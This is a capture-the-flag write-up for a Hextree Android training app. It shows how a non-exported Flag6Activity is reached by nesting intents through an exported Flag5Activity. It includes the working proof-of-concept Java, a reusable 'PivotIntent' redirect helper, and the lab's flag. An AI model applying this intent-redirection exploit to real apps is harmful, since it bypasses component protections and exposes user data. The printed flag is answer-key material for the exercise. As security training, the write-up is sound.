Static Analysis

AndroidManifest.xml

Upon inspecting the Flag3Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag6Activity"  
	android:exported="false"/>

Since exported is set to false we can’t call this activity from our exploit apk, but as we saw in Flag5Activity we can use it to be our pivot activity

Flag6Activity Class

public class Flag6Activity extends AppCompactActivity {  
    public Flag6Activity() {  
        this.name = "Flag 6 - Not exported";  
        this.flag = "EUAgD7RzQhmEAesUPyoidyGIG4cEEOUr6irkQ0gFgQzdIerE00zPBmWMfCP+Ptx9";  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        if ((getIntent().getFlags() & 1) != 0) {  
            this.f.addTag("FLAG_GRANT_READ_URI_PERMISSION");  
            success(this);  
        }  
    }  
}

The challenge is really simple, all we need to do is to fire an intent with FLAG_GRANT_READ_URI_PERMISSION and that’s it

Creating POC

First of all we will edit the Flag5Activity’s POC to make it our pivot

Button button = findViewById(R.id.button_flag6);
button.setOnClickListener(new View.OnClickListener() {
	@Override
	public void onClick(View v) {
		Log.v("HEXTREE", "Going to flag 6 activity");
		// Create the third intent which carries the "reason" extra and the Activity we want to pivot to
		Intent intent3 = new Intent();
		intent3.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
		intent3.putExtra("reason", "next"); // This will trigger intent3 to be executed
		intent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
		
		// Create the second intent and add the third intent inside it and the return with value of 42
		Intent intent2 = new Intent();
		intent2.putExtra("nextIntent", intent3); // Pass the third intent inside the second one
		intent2.putExtra("return", 42); // This should match the expected condition in Flag5Activity
		
		// Create the first intent and add the second intent inside it
		Intent intent1 = new Intent();
		intent1.putExtra("android.intent.extra.INTENT", intent2); // Pass the second intent inside the first one
		
		// Start Flag5Activity with the nested intents
		intent1.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
		startActivity(intent1);
	}
});

What changed here is two things:

  1. reason extra became next to it matches the condition in Flag5Activity to run our desired intent
  2. intent3 now points to our desired activity in this case Flag6Activity For better usability I made a util class called PivotIntent that does the same thing but it will be easier for us to reuse in the future

PivotIntent Util Class

package com.example.ias_attacker.util; // Your Package Name Here
 
import android.content.ComponentName;
import android.content.Intent;
 
public class PivotIntent {
 
    /**
     * Wraps a target intent inside two other intents to pivot through Flag5Activity.
     *
     * @param targetIntent The final destination intent.
     * @return An intent ready to be started, which will pivot through Flag5Activity.
     */
    public static Intent create(Intent targetIntent) {
        // Add the required "reason" extra to the original intent
        targetIntent.putExtra("reason", "next");
 
        // Create the second intent to carry the target intent and the "return" value
        Intent intent2 = new Intent();
        intent2.putExtra("nextIntent", targetIntent);
        intent2.putExtra("return", 42);
 
        // Create the first intent to carry the second intent
        Intent intent1 = new Intent();
        intent1.putExtra("android.intent.extra.INTENT", intent2);
 
        // Set the component to pivot through Flag5Activity
        intent1.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
 
        return intent1;
    }
}

Now Flag6 POC will become much simpler:

        Button button = findViewById(R.id.button_flag6);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("HEXTREE", "Going to flag 6 activity");
 
                // 1. Create the final destination intent
                Intent targetIntent = new Intent();
                targetIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
                targetIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
 
                // 2. Use the PivotIntent utility to create the wrapped intent
                Intent pivot = PivotIntent.create(targetIntent);
 
                // 3. Start the activity
                startActivity(pivot);
            }
        });

Don’t forget to import the util class at the top so it doesn’t give an error :)

Flag

HXT{redirect-to-not-exported-n129vbs}